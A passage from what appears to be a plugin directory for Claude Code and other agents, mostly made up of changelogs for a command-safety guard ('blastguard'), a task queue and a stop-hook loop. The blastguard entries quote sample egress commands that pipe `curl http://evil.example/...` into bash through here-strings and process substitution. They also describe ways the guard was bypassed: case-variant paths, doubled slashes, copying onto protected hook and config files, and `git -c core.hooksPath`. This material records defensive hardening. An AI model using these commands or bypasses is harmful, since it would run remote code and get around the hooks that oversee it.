`rm`'s single-non-recursive-file shape, not a gap this task introduced, and denying it would conflict with that pin. Every Ask still flows through the pre-existing `Decision::hardened()`/`interactive::ask_available()` wiring unchanged: an interactive `cli` session receives the raw ask, any other caller (autonomous/headless/no signal) hardens it to a Deny automatically — no new code needed for that half. New `tests/high_blast_tier.rs` (7 tests: 3 attack-representative-Ask, 2 autonomous-hardening, 1 anti-vacuity allow-list, 1 non-regression-Deny), the 3 attack-representative cases observed RED against the pre-fix binary (stashed `detect.rs`) before the fix landed; every pre-existing blastguard test (190 unit + 8 integration files) still passes unmodified, `cargo clippy -p blastguard --all-targets` clean, raw-io ratchet floor held (60). v0.2.30: closes a 6th independent-verifier-round residual — the shared bracket-depth scan behind BOTH the here-string (`double_quoted_operand_end`) and process-substitution (`paren_marker_payloads`) extractors counted every bare `(`/`)` inside a `$(...)`/`<(...)` region GENERICALLY, not quote-aware, so a `)` embedded inside a QUOTED string nested inside that region closed the region's depth early: `bash <<<"$(true \")\" && curl http://evil.example/x)"` and `bash <(true \")\" && curl http://evil.example/x)` were both measured ALLOW on the built 0.2.29 binary (confirmed live via a mirror echo printing from the inner shell — genuinely reachable, not inert). New shared `scan_balanced` recursively treats every quote/backtick/paren it encounters as opening its own fresh parse context (mirroring real bash), so a `)` inside a nested quote no longer decrements an outer region's depth at ANY nesting level — one scan now backs both extractors, so the fix closes both constructs at once. `bash <<<"$(echo \")\" ; echo hi)"`, `bash <(echo \")\" ; echo hi)` (embedded quoted paren, no fetch), `cat <<<"..."` (data-consumer), `grep foo <<<"$(cat file.txt)"` (local-only), and the prior nested-here-string case all stay Allow. v0.2.29: closes a 5th independent-verifier-round residual — a NESTED here-string egress bypass. `here_string_operands`'s double-quote scan stopped at the FIRST unescaped inner `"`, so a double-quoted operand containing its OWN nested here-string/command-substitution (which opens a fresh quoting context in real bash) got truncated to an unbalanced fragment before either here-string check ever saw the innermost fetch: `bash <<<"$(bash <<<"$(curl http://evil.example/x)")"` and the 3-layer `sh <<<"$(sh <<<"$(curl http://evil.example/y | base64 -d)")"` were both measured ALLOW on the built 0.2.28 binary. New `double_quoted_operand_end` finds the operand's true closing quote BALANCED against nested `$(...)`/backtick command substitution (mirroring the existing paren-depth-tracked `paren_marker_payloads` extractor already used for `<(...)`/`$(...)`), closing arbitrary nesting depth in one pass. `bash <<<"$(bash <<<"echo hi")"` (no fetch anywhere), `cat <<<"hello world"` / `cat <<<"$(curl http://evil.example/x)"` (data consumer, never executes), and `grep foo <<<"$(cat file.txt)"` (local-only, no network) all stay Allow. v0.2.28: closes a 4th independent-verifier-round residual — the egress/remote-exec scan had NO here-string (`<<<`) handling at all, so `bash <<<"$(curl http://evil.example/x)"`, `sh <<<"$(curl http://evil.example/x | base64 -d)"`, and the backtick-quoted `bash <<<"`curl http://evil.example/z`"` were all measured ALLOW on the built 0.2.27 binary — `bash`/`sh` read a `<<<` operand as their OWN stdin/script, so fetched bytes delivered that way execute unchecked, exactly like `bash <(curl evil)`. New `analyze_here_string_egress` mirrors `analyze_process_substitution_egress`'s two-check shape: (A) when the outer command is a shell/interpreter/`source`/`.`, the operand is scanned via the existing `scan_body_for_fetch_or_decode` recursion REGARDLESS of the operand's quote kind (a here-string's bytes are re-parsed as script by the inner interpreter no matter how the outer line quoted them); (B) independent of the outer command's identity, a `$(...)`/backtick command substitution nested in a double-quoted-or-bare operand is evaluated by the OUTER shell while building the operand's value, so `cat <<<"$(curl http://evil.example/y | sh)"` denies via the existing `analyze_pipe_egress` even though `cat` itself never executes anything (gated on `!is_single_quoted`, since a single-quoted operand suppresses that expansion). A companion fix, `split_segments_paren_aware`, closes a bug this residual exposed in the SHARED `scan_body_for_fetch_or_decode` recursion: a body whose entire text is an unquoted `$(...)` span with a top-level `|` inside it (a here-string operand with its enclosing quote already stripped) was being split apart mid-construct by the quote-only `split_segments`, hiding the fetch from both the direct-word check and the nested-payload recursion. `bash <<<"echo hi"` (benign script), `cat <<<"hello world"` (data consumer, not a script reader), `grep foo <<<"$(cat file.txt)"` (local substitution, no egress), and `cat <<<"$(curl http://evil.example/x)"` (a fetch that is never executed, only printed) all stay Allow. v0.2.18: closes the four round-2 adversarial-verifier bypasses of the protected-path rule. (1) The protected glob set is now matched CASE-INSENSITIVELY (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC` are the same file on a case-insensitive filesystem); the ALLOW set stays case-sensitive on purpose, since folding it would exempt more rather than deny more. (2) `exclude::normalize` collapses `//` and `/./`, which the kernel already treats as one separator. (3) New `cp`/`mv`/`install`/`ln` and `sed -i` arms: the dispatch only had DELETE/TRUNCATE rules, so overwriting a protected file by copying onto it was unclassified — the destination is checked in all three shapes (`SRC DEST`, `-t DIR SRC…`, `SRC… DIR/`), sources are ignored so ordinary backups stay Allow. (4) `git -c core.hooksPath=… <subcommand>` (and the glued `-ccore.hooksPath=`, `--config-env` forms) is denied like `git config core.hooksPath`; `git_subcommand_index` already skipped past those values, nothing had read them. Ordinary `cp a.txt b.txt` / `mv` / `sed -i` on source files / `git -c user.name=x` stay Allow. v0.2.17: round-2 adversarial-verifier RED tests for the v0.2.15 protected-path fix — pins 4 confirmed bypasses that still reach protected files as Allow: (1) case-variant paths (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC`, …) since exclude.rs does no case-folding on a case-insensitive filesystem; (2) `//`-doubled paths (`.claude//settings.json`) since normalize() never collapses `//`; (3) `cp`/`mv`/`sed -i`/`install` onto a protected path, since detect.rs's command dispatch has no arm for any of them; (4) `git -c core.hooksPath=... <subcommand>`, since only the `git config` subcommand arm inspects that key, not the global `-c` option. All in `detect.rs`'s test module; no production code change. Two narrower findings from writing these tests: `.githooks/PRE-COMMIT` (uppercase basename, lowercase dir) and 3 of 4 `//`-doubled variants (all but the bare `.claude//settings.json` form) already classify to Deny today, because they still match a `**/`-prefixed glob alternative or a wildcard directory component regardless of the exact bypass shape probed — narrower than initially assumed, not a full class fix. v0.2.16: test-only follow-up to v0.2.15's protected-path fix — the independent test author's stale integration mirror (`tests/integration.rs` `config_file_edit_is_allowed_silently`, which pinned the OLD Edit-to-`.claude/settings.json`-is-Allow-and-silent behavior) is renamed to `config_file_edit_to_protected_path_is_denied` and now asserts Deny + surfaced; `rule_id.rs`'s `every_detect_deny_path_maps_to_a_known_rule_id` gained cases for the `protected-path` and `git-config-hookspath` rule ids (Write/Edit/truncating-redirect/append-redirect to a protected path, and `git config core.hooksPath`), which were added in v0.2.15 but not yet exercised by that completeness test. No production code change. v0.2.15: protected gate/config paths are now CLASSIFIED instead of auto-Allowed. `exclude::is_protected_path` names the files that decide whether the gates run at all (`.claude/settings.json` / `settings.local.json` / `hooks.json` / `.claude/hooks/**`, `.githooks/**`, `.git/hooks/**`, shell rc files, and the gate-config tomls `deny.toml`/`donegate.toml`/`specguard.toml`/`tdd.toml`/…), and it is checked BEFORE the `is_config_file` allowlist that used to short-circuit them to Allow. Write, Edit/MultiEdit/NotebookEdit (previously ALWAYS Allow, regardless of path), truncating redirects and APPEND redirects (`>>`, previously skipped as non-truncating) all resolve to Deny on such a target, and `git config core.hooksPath` (a one-command swap of every git hook) is denied unless a read-only flag is present. The extension-wide `*.toml` allowance is deliberately kept, so an ordinary `Cargo.toml` write stays Allow; new rule ids `protected-path` and `git-config-hookspath` keep the class visible to overwatch. v0.2.14: internal-only refactor — `detect.rs`'s `VerdictAcc` (the `Deny > Ask > Allow` sub-analysis combinator) now accumulates `harness_core::verdict::Verdict` internally and ranks via the new shared `Verdict::worst_of` combinator, translating back to `Decision` at the boundary (`decision_to_verdict`/`verdict_to_decision`). The public `Decision` enum and its methods (`is_blocking`/`is_deny`/`is_ask`/`hardened`) are byte-for-byte unchanged, and every pre-existing test passes unmodified; new tests pin `VerdictAcc`'s priority ordering directly. Kills a hand-rolled reinvention of the same three-valued-verdict priority already shared by propguard/reviewgate. No behavior change. v0.2.12: documented backlog cd99fa2c judgment for blastguard:code-interpreter-inline-eval (README.ja.md) with a concrete example observed live in this session — a purely read-only `python3 -c` invocation (parsing a JSONL transcript with json.loads and printing matches) was denied because is_inline_eval_flag does not inspect payload contents. Judged intentional, same D1-class false-positive tradeoff as truncating-redirect: no reliable syntactic way to prove a `-c`/`-e`/`-r` payload is read-only (os.system/eval/obfuscated calls can hide in the same string), so no code change. Workaround remains jq/grep or writing a script file and running it with no inline-eval flag. v0.2.11: fixed a genuine false-positive in redirect_targets (crates/blastguard/src/detect.rs) found while investigating backlog ba72dc46 — the target-token scanner did not treat `)` as a terminator, so a redirect inside a command substitution (`$(cmd 2>/dev/null)`) had its target read as `/dev/null)` instead of `/dev/null`, failing redirect_target_is_safe's exact match and denying a command that touches no file at all. `)` is now a token terminator alongside whitespace/`;`/`|`/`&`/`>`; a control test confirms a real truncating redirect immediately followed by `)` in prose is still denied. v0.2.10: documented backlog ba72dc46/cd99fa2c findings (README.ja.md) — the REMAINING truncating-redirect denies (scratchpad/tmp writes) and all code-interpreter-inline-eval denies are intentional design, not fail-opens; no code change for those. v0.1.21: closed CONFIRMED Continuous-Audit DENY-gap CA-blastguard-07 — git global options that take a separate-token value (`git -C DIR reset --hard`, `git -c user.name=x clean -fd`, `git --git-dir PATH checkout --force`, `git -C DIR stash clear`) no longer misread that value as the subcommand, so every git deny fires instead of falling through to Allow (fail-open). v0.1.19: closed 2 CONFIRMED Continuous-Audit DENY-gaps (CA-blastguard-04/05) — the combined stdout+stderr truncating redirect `&>` (and no-space `&>target`) is now denied as a truncating overwrite (the append form `&>>` stays allowed), and `git restore <path>` / `git restore .` is now denied as a working-tree discard consistent with `git checkout -- .` (`git restore --staged <path>` stays allowed). v0.1.18: closed 5 CONFIRMED Continuous-Audit fail-opens (CA-blastguard-006..010) — a bare top-level interpreter invocation with an inline-eval flag (e.g. `python3 -c ...` with no `find` wrapper) is now denied, not just the `find -exec`/`-ok`-wrapped form; stacked short flags (`-ic`) and versioned interpreter basenames (`python3.12`) are now recognized; `tee FILE` (no `-a`) is now denied as a truncating overwrite; and denial reasons for this whole class now map to a stable rule id instead of "unknown". A PreToolUse guard for Claude Code: inspects Bash commands and file operations and denies the project-destroying ones — recursive/wildcard rm, git reset --hard, git clean -fdx, truncate/shred/mkfs, dd of=, recursive chmod/chown, find -delete, and single-> overwrites — while exempting repo config files. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  36. benchkit0stars

    External-benchmark (SWE-bench Verified) runner for Claude Code plugins: a typed SWE-bench Instance model, a deterministic fixture-based JSONL loader, and a gated `download` subcommand that shells out to `curl` (no HTTP crate) to fetch the Princeton NLP dataset only on explicit invocation. Subscription-native (one bundled Rust binary).

    Claude Code
  37. beacon0stars

    Desktop & webhook notifications for Claude Code: Stop and Notification hooks that ping you (macOS/Linux desktop, Slack, generic webhook, or a custom command) when a turn finishes or Claude needs your input — so you can step away from long sessions. Subscription-native (two hooks + bundled Rust binary, no API key).

    Claude Code
  38. backlog0stars

    v0.3.3: v0.3.2 の記述にあった事実誤認を同じ箇所で訂正した — 孤児化した settings.json のエントリを「手書き」と書いていたが、実際は `backlog install` 自身の出力である (`src/install.rs` の `binary_path()` → `std::env::current_exe()`、`command_group(..., 5)` → 稼働エントリの timeout 5)。出自が重要なのは機構を名指すからで、絶対パスを user settings へ書き込む plugin subcommand はそのバイナリが動くたびに必ず腐り、誰かが気をつけることでは直らない (CLAUDE.md 第6節)。散文のみ、挙動は無変更。 v0.3.2: SessionStart hook の宣言を plugin 内 (`hooks/hooks.json` → `${CLAUDE_PLUGIN_ROOT}/bin/backlog session-start`) へ移した。この plugin は最初から `src/hooks/session_start.rs` を持ち、この description 自身も「a SessionStart hook that surfaces pending work at session open」と書いていたが、`hooks/hooks.json` は一度も存在しなかった (`git log -- crates/backlog/hooks` は空)。唯一の配線はユーザの `~/.claude/settings.json` にある絶対パス `~/.cargo/bin/backlog session-start` だった。これは手書きではなく `backlog install` 自身の出力である: `src/install.rs` の `binary_path()` が `std::env::current_exe()` を settings.json へ焼き込み、`command_group(..., 5)` が timeout 5 を書く — 稼働中の settings.json の当該エントリと完全に一致する。つまり **plugin が自分で、必ず腐る配線を書いていた**。そのバイナリが 2026-08-20 に `backlog.bak-stale-20260820` へリネームされて以降、hook は毎セッション exit 127 (No such file or directory) で死んでいた。SessionStart hook は exit code も stderr も agent に届かないので、これは red ではなく **dark** になり、「キューが空」と「hook が走っていない」が下流で区別不能になっていた (CLAUDE.md 第1節/第3節)。実測 2026-08-26 (測定点 58c779af): 復旧後の初回実行で期限切れ deferred タスク 24 件が一括再キューされた — `requeue_expired` も同じ期間止まっていた。timeout は旧 settings.json の 5s ではなく 10s にした: tasks-file lock の blocking-acquire は実測 8s の budget を持つので (v0.2.27 参照)、5s では lock 待ちの正常系を途中で殺しうる。新規テスト `tests/session_start_hook_wired.rs` が「宣言が存在すること」と「`${CLAUDE_PLUGIN_ROOT}` 経由で解決され `.cargo/bin` を指さないこと」を pin する (追加前に RED を観測済み)。 **同じ commit で `store::requeue_expired` の terminal-status バグも直した**: hook を復旧させた初回実行が、その 24 件のうち 8 件の `done` と 6 件の `cancelled` を `pending` へ戻したので発覚した (`100af807` — CLAUDE.md が `d30d9b00` で完了と引用している項目 — を含む)。`defer_until` はこの関数でしか消されず terminal 遷移時には残るため、一度 defer して後に完了/中止したタスクは過去の `defer_until` を永久に持ち、requeue 分岐が status を見ずに `pending` を強制していた (`store::requeue_expired`。ガードは `crates/backlog/src/store.rs:1151` の `let terminal = ...`)。`done`/`cancelled` は完全に据え置く (stale な field は `next`/`is_pending` が既に除外するので無害。正規化もしないので完了時刻を再スタンプしない)。`failed` は terminal ではない — `fail --defer` の retry-later 経路であり、期限切れで `pending` に戻るのが仕様 (`requeue_expired_restores_pending`)。修正後の実測は同じ store に対して 24 件 → **10 件** (`failed` 8 + stale `claimed` 2 = 正当な分だけ)。新規テスト `requeue_expired_leaves_done_and_cancelled_terminal` が RED→GREEN で pin する (`failed`/`pending` を anti-vacuity control として同居させ、「何も requeue しない」実装で通らないようにした)。 v0.3.1: v0.3.0 が引用した実測値に測定点を付け、再測定コマンドを同梱した。再測定したら store は既に動いていた(ラベル別 pending/failed が `bb046648` で 258/66/5、`89feaddb` で 265/70/5。どちらも 2026-08-20)— CLAUDE.md の測定値ルールが防ごうとしている腐敗そのものなので、片方で上書きせず両方を rev 付きで併記した。doc とコメントのみ、挙動は変えていない。 v0.3.0: キューの見える範囲・書ける範囲を「今いる project の中」だけに揃えた (backlog 81dfaae4 / 7d8ab7fe)。repo store (`<repo root>/.backlog/tasks.toml`) は tracked file で、構造上その repo のタスクしか持たないのに、read は**書いた checkout の絶対パス**でも行を絞り込んでいた。結果、1 つの repo のキューが**マシンごとに分裂**した (実測 2026-08-20、本 repo の store: pending 258 件が macOS の checkout パス、66 件が WSL のパスでラベルされ、互いに見えなかった)。repo store では行フィルタを撤去し (ファイル自体がスコープ)、`--project` は「どの store のことを言っているか」の **assertion** になった: この repo を指すなら何も変わらず、別 repo を指すのは理由付きの非0終了で、絞り込まれた一覧は返さない (「この store は別 project だ」と「この project には積まれていない」を同じ表示に写さない。CLAUDE.md 第3節)。write 側も同じ assertion を持つ (別 repo のラベルで書かれた行は、この repo の作業として一覧に出てしまうため)。ただし**証明された不一致だけを拒否**し、identity を確認できなかった場合は従来どおり起票して不確実性をデータとして持たせる (`project_unresolved = true` → `[project unresolved: ...]` と表示)。add を止めることは起票そのものを失うことなので、そこは緩めない。後半: repo root が上に無い cwd から cross-project な `~/.backlog` へのフォールバックを廃止した。これは tempdir で走ったプロセスが fixture を本物のキューへ書き込んだ経路 (specforge の spec-ratify タスクが `project="/tmp/.tmpsYSvwG"` で発見された) であり、そういう cwd からの read が別 project の作業で答えられていた経路でもある。`config::StoreLocation` が「ここには project store が無い」を**表現可能**にし、`add`/`list`/`next` は理由と `store_dir` の逃げ道を示して拒否する。`divergence::check` は 2 つの store のスコープを別々に受け取るようになった: reader がもう適用しないフィルタで resolved store を数えると、実在の作業を載せた一覧に対して `Undetermined` (非0・stdout 空) が発火しうる — それはこのモジュールが防ぐために存在する偽の空そのもの。新規の契約テスト 6 本 + control 2 本 (`tests/project_scope.rs`)。旧フィルタ・旧フォールバックを固定していた既存 11 テストは、どちらへ倒したかと理由をその場に書いて re-pin した。 v0.2.20: 「キューが空」と「別のストアを読んでいる」を区別できるようにした (backlog 5ba13c3e 完了条件2)。キューが per-repo ストアへ移行した際に旧 `~/.backlog/tasks.toml` は移行されず、移行前のチェックアウトでは `no tasks` / `[]` が返っていた — 中身は 490 件 (p0 3件を含む) 残っていたので、これは「観測できなかった」を「何も無い」として返す fail-open だった (CLAUDE.md 第3節)。新 `divergence` モジュールが三値で答える: 旧ストアが**存在しない**マシン (新規クローン) は完全に沈黙 (Absent は本物の観測)、旧ストアが**読めない**場合は「空」と結論しない (Unreadable ≠ Absent)、解決されたストアがこの project の作業を 1 件も持たないのに旧ストアが持つ場合は `list`/`next` が空を返さず非0で終了して stderr に理由を出す (`autoflow::backlog::find_open` がこれを `Determination::Undetermined` として読み、Stop を可視的に block する)。解決されたストア側に作業がある場合は exit 0 のまま stderr で「この一覧は不完全」と警告する — ここで非0にすると非0を「none」に写す消費者 (`overwatch` の `shell_soft` → `(none)`、condukt SKILL の `2>/dev/null || true`) から実在の項目が消え、直そうとしている偽の空をこちらが作ってしまうため。SessionStart hook は exit code も stderr も agent に届かないので additionalContext に注記を注入する。v0.2.10: store.rs に PROBE_PATH_ENV_LOCK の相互排他性自体を決定論的に証明するテスト (probe_path_env_lock_actually_serializes_concurrent_holders) を追加。v0.2.9: store.rs のテストに PROBE_PATH_ENV_LOCK を追加し、real-git-init テストと PATH-hijack テストの並列実行レースを解消。 v0.2.8: `git_remote_origin_url` now bounds its `git config --get remote.origin.url` invocation with a 5s timeout (`harness_core::boundary::run_with_timeout`) instead of spawning it unbounded via a raw `Command::output()` — a hung `git` (corrupt/locked index, wedged credential helper, a stuck fsmonitor/hook subprocess) previously could block the `Add` command's caller indefinitely; a timeout (like any other git failure) now fails soft to an empty remote URL, same as today. v0.2.7: `gh_probe` now bounds every `gh` invocation with a 20s timeout (`harness_core::boundary::run_with_timeout`) instead of spawning it unbounded — `add_with_weight_and_github_push` calls `gh_probe` from inside the tasks-file lock's critical section, so a hung `gh` (e.g. stuck on an interactive network-auth prompt) previously could hold that lock indefinitely and block every other session's `backlog add`/`next --claim`; a timeout (like gh-absent) now fails soft to local-only. v0.2.6: `is_github_remote` now compares the parsed host exactly against github.com instead of a substring match, so lookalike hosts (github.company.internal, github.com.evil.example) or a github.com occurrence in the path/query of a different host no longer false-positive as a GitHub remote. v0.2.5: `backlog add` now wires the fail-soft one-way GitHub-issue push end to end — `store::add_with_weight_and_github_push` (an injectable-runner variant of add_with_weight) calls `github::decide_issue_create` inside the same tasks-file-lock critical section and, on a real `gh issue create` success, parses the issue number (`github::parse_issue_number`) and persists issue_number/issue_url on the new Task; the CLI's `Add` handler resolves the real git remote URL and spawns real `gh` via injected closures (mirroring condukt::pr), while a non-GitHub remote, absent gh, or a failed gh invocation all fail-soft to a local-only add exactly as before. v0.2.4: Task gains issue_number/issue_url (Option, serde default) fields to hold a linked GitHub issue reference; backward-compatible with existing tasks.toml records. v0.2.3: adds a GitHub issue-create helper module (github.rs). v0.2.2: `backlog list`'s default scope is now the cwd-resolved project (matching what `add --project "$PWD"` would have stored), not cross-project; pass `--all` to keep the old cross-project default (an explicit `--project` still wins over both). v0.1.12: fixes a real lost-update race in add_with_weight/next_claim under heavy concurrent contention (proven by a previously-red stress test, `add_and_claim_no_lost_update_under_heavy_contention`, now green). Root cause: the tasks-file lock's blocking-acquire retry budget (TASKS_LOCK_MAX_ATTEMPTS × TASKS_LOCK_SLEEP, ~2s) was sized for exactly one legitimate holder's worst-case critical section (up to IS_CLAIMED_TIMEOUT=300ms), not for N concurrent holders queuing serially — under 20-way contention a waiter could queue behind several 300ms holds in a row (~6s worst case), exceed the old 2s budget, and degrade to an unprotected best-effort operation (the fail-soft path), causing genuine lost updates. Budget raised to ~8s (comfortably above the realistic worst-case queue, comfortably below the 10s stale-reap window) so legitimate contention no longer forces the unprotected fallback. v0.1.11: adds a regression test (`crates/backlog/tests/lock_heartbeat_ttl.rs`) proving the v0.1.10 heartbeat_at+TTL fix actually works without waiting the real 30-minute TTL — rewrites a held lock's on-disk `heartbeat_at` back past `LOCK_STALE_TTL_SECS` to simulate elapsed time, then asserts `backlog lock heartbeat` refreshes it (a second session's acquire is blocked) and, as a control, that an un-heartbeated stale lock IS reaped and stolen by a different session. v0.1.10: fixed backlog::lock's cross-session mutual exclusion, which offered essentially zero real protection — staleness was judged by `pid_alive(existing.pid)`, but the recorded pid is always the one-shot `backlog` CLI invocation's own OS pid, dead again the instant that command returns, regardless of whether the holding session is still working. Verified empirically: a lock acquired one second earlier was already reported stale and silently stolen by a second session. Staleness is now judged by a `heartbeat_at` timestamp + 30-minute TTL (matching condukt's task-claim registry and overwatch's lease registry), with a new `backlog lock heartbeat --session-id <id>` subcommand to keep a long session's hold alive. `pid` is retained on-disk for observability only. Cross-project task queue with cycle-type tags for Claude Code: a /backlog skill (thin alias to /flow for driver loop), a SessionStart hook that surfaces pending work at session open, and a backlog binary with list/next/done/fail/lock subcommands. The lock→pick→/condukt→done driver loop is consolidated in /flow. Subscription-native (skill + hook + bundled Rust binary, no API key).

    Claude Code1 skill
  39. autoflow0stars

    v0.1.25: `is_autonomous()` reads the shared autonomy switch (harness_core::autonomy) in-process instead of shelling out to `condukt state autonomy-check`. The subprocess made the answer depend on `condukt` being on PATH, and a PATH miss came back as exit-non-zero -- byte-identical to a deliberate 'not autonomous', i.e. a cannot-determine read as a verdict (CLAUDE.md section 3). Still fail-closed: an unreadable switch file resolves to NOT autonomous and its warning is surfaced on stderr. Scope note: this reads the SHARED switch, not condukt's private config.toml `autonomous`; it is consulted only to word the visible EscalateStuck message, which blocks either way. v0.1.23 is the integration point where this machine's line merges origin/main (e018fe91). It carries no behaviour change of its own: autoflow's code here is the remote's v0.1.22 retirement verbatim, and the number moves only because both merge parents had already published 0.1.22 for different trees, so leaving it in place would strand this tree behind a version nobody can distinguish. v0.1.22 RETIRES the backlog nudges on the user's instruction. Three paths asked the operator to work the queue and two of them are gone: the SessionStart hook that injected "バックログに {n} 件 (最優先: '{title}')。/flow で開始しますか?" (and "/compass で再接地して から /flow を実行してください" when the charter was stale), and the Stop-hook arm that, once the condukt pending set emptied, read the queue and BLOCKED the stop with "残課題バック ログに {n} 件…/backlog を実行してください" — every turn, until the queue emptied — behind a compass-freshness gate that existed only to guard that auto-driving. The condukt arm stays: an in-flight run this session started and abandoned is an accident, while a queue item nobody has started is not, and asking about it every turn adds no information. Repetition is not detection. What went with them, so nothing is left half-wired: the `session-start` subcommand and its hooks.json entry, the launcher's `session-start` arm (the arg now falls through to the catch-all `exit 1` — a retired hook name must not get a successful-looking reply), the `compass` module (its only caller was the gate), `backlog::find_open` plus `BacklogItem` (a queue reader with no consumer invites the next author to re-wire it), and the `backlog_prev_open`/`backlog_no_progress_streak` state fields (write-only once nothing observes the queue — serde keeps such fields invisible to the compiler, and a field claiming to count observations never made is the same drift as a stale comment). The Phase::Done latch changes its PREMISE and keeps resting on an observation: it was "condukt empty AND backlog empty", it is now "this condukt run has no pending task", whose `Determination::Undetermined` arm still blocks — Done is never reached by failing to look. Two tests were not deleted into silence but INVERTED on the same input, so the retirement is pinned rather than merely performed: a stub backlog answering with a pending item must now produce no block, no mention of the task, and no "/backlog" or "/flow" string (a re-worded nudge is still a nudge, which `blocks()` alone would miss), and an answer in an unrecognised status vocabulary — which used to block as undetermined — must now be ignored because no question is being asked. Kill power is measured, not argued: at 0ce4894a both old tests were green, and against this revision the same input yields "a readable, pending queue must drive /backlog, got: \"\"". `pending_run_state_still_drives_condukt` remains the anti-vacuity control, so "silent" here means "chose not to nudge", not "never ran". Session-end auto-flow gate: on Stop, prompt /record once, then loop /condukt and /backlog while work keeps *progressing* — continuation is progress-based (no call-count ceiling); stalled progress escalates *visibly* and the loop stops only when the pending/open set is empty. Subscription-native (one hook + bundled Rust binary, no API key). v0.1.19: an explicit user stop now stands the loop down for that Stop only — see `stop_intent`: if the user's most recent transcript signal (a typed message, or their answer to an `AskUserQuestion`) is an explicit stop instruction (e.g. "止めて"/"stop"), the Stop is allowed through untouched instead of blocking with a backlog/condukt nudge. Not a session-wide latch — no `Phase::Done` is set, so ordinary nagging resumes if the user keeps working afterward. v0.1.17: an observation autoflow could NOT make no longer reads as "no work left" — `backlog::find_open` / `condukt::find_pending` / `find_backlog_binary` now return `harness_core::verdict::Determination`, so an unreadable run-state, an unparseable or non-zero `backlog list`, a queue answering in an unknown status vocabulary, and an unlistable plugin-cache dir are `Undetermined` instead of an empty set. `Phase::Done` (a per-session silence latch) now requires an observed-empty queue; undetermined blocks visibly via `Verdict::stop_decision()`, and an undetermined binary lookup stands the auto-loop down instead of double-driving a live queue. v0.1.16: replaced the count-proxy stops with progress-based continuation (backlog 422d256a facets 822c7209/9aa0031f) — removed the condukt loop's auto-≤4×/ask-from-5× count split and the backlog loop's silent Phase::Done at max_backlog_prompts; both now continue while the remaining-work set shrinks and escalate visibly (never silently) via a no-progress streak vs cfg.stuck_threshold (default 3), consulting condukt state autonomy-check for the escalation wording. v0.1.15: strengthened the Tier 2 delegation-record advisory's own regression test (skill_doc_text_quoting_backlog_lock_acquire_never_fires) after an independent verifier found the prior fixture vacuous — no functional code change. v0.1.14: Tier 2 delegation-record advisory now matches only genuine executed Bash tool_use invocations (not raw transcript prose/doc text) and scopes run-completion checks to THIS session's own condukt run id (not the project-wide latest run file), fixing two false-positive classes (backlog d8051ed4). v0.1.9: Stop hook now runs under harness-core's run_guarded panic barrier (fail-closed block on crash instead of silent allow).

    Claude Code
  40. STATUS: shell/v0.1. Notices an under-specified prompt and walks the user through goal, constraints, success criteria and gating before Claude runs with an inferred reading of it, instead of guessing and building the wrong thing.

    Claude Code
  41. aj's global rules, enforced. Injects the rules into every session and into every subagent it spawns, audits a subagent's own transcript against its report, reminds at commit time when a source change has no docs update, prompts for approval before hidden background work, destructive commands, or git commands that mutate anything beyond a commit or push on its own branch, and checks every turn for commands handed over untested or success claimed with nothing to back it.

    Claude Code1 skill
  42. STATUS: shell/v0.1. Classifies each prompt's complexity and nudges Claude to delegate to a model-pinned subagent - haiku for simple doc/comms work, sonnet for recon and code implementation, opus for planning, architecture, and management. Cannot switch the live session's own model; see docs/offshoots-plan.md for what a hook can and can't do here.

    Claude Code

Sep 22, 2026

  1. Write DESIGN_DOC.md, architecture docs, SRS, PRD, and diagrams for Codex. Mermaid first. PlantUML leftover types.

    CodexClaude CodeAgent Plugins1 skill
  2. Manage your Toastmasters club participation on easy-Speak: check and set meeting attendance, claim roles, and see when you are next speaking. Drives the easy-Speak web UI in a browser, since the site has no API. Requires browser automation to be available to the agent — see the skill's Requirements section.

    CodexClaude CodeAgent Plugins1 skill
  3. Manage your Toastmasters club participation on easy-Speak: check and set meeting attendance, claim roles, and see when you are next speaking. Drives the easy-Speak web UI in a browser, since the site has no API. Requires browser automation to be available to the agent — see the skill's Requirements section.

    CodexClaude CodeAgent Plugins1 skill
  4. プロパティベーステスト生成、リファクタリング、PR 作成・再レビューなど、日常的な開発作業向けの Agent Skills コレクション。

    Agent Plugins4 skills
  5. duolingo3stars

    The Duolingo playbook as agent skills — retention, streaks, gamification, learning science, curriculum, efficacy, product metrics, experimentation, growth, brand, voice, culture, engineering, observability, and LLM feature design. Distilled from 750 posts on blog.duolingo.com plus the Handbook and Design System. Start at the /duolingo router; UI craft routes out to design-engineering.

    Claude CodeAgent Plugins45 skills
  6. Sample Kiro Agent Plugin providing code-review and commit-message skills plus team coding-standards steering.

    Agent Plugins2 skills1 MCP server
  7. A local optimization hub that audits token waste and routes work to the best available optimizer.

    CodexClaude CodeAgent Plugins4 skills
  8. Generate officially grounded practice questions, interactive quizzes, mock exams, explanations, flashcards, study plans and AWS service comparisons for any current AWS Certification exam across Foundational, Associate, Professional and Specialty levels.

    Agent Plugins1 skill1 MCP server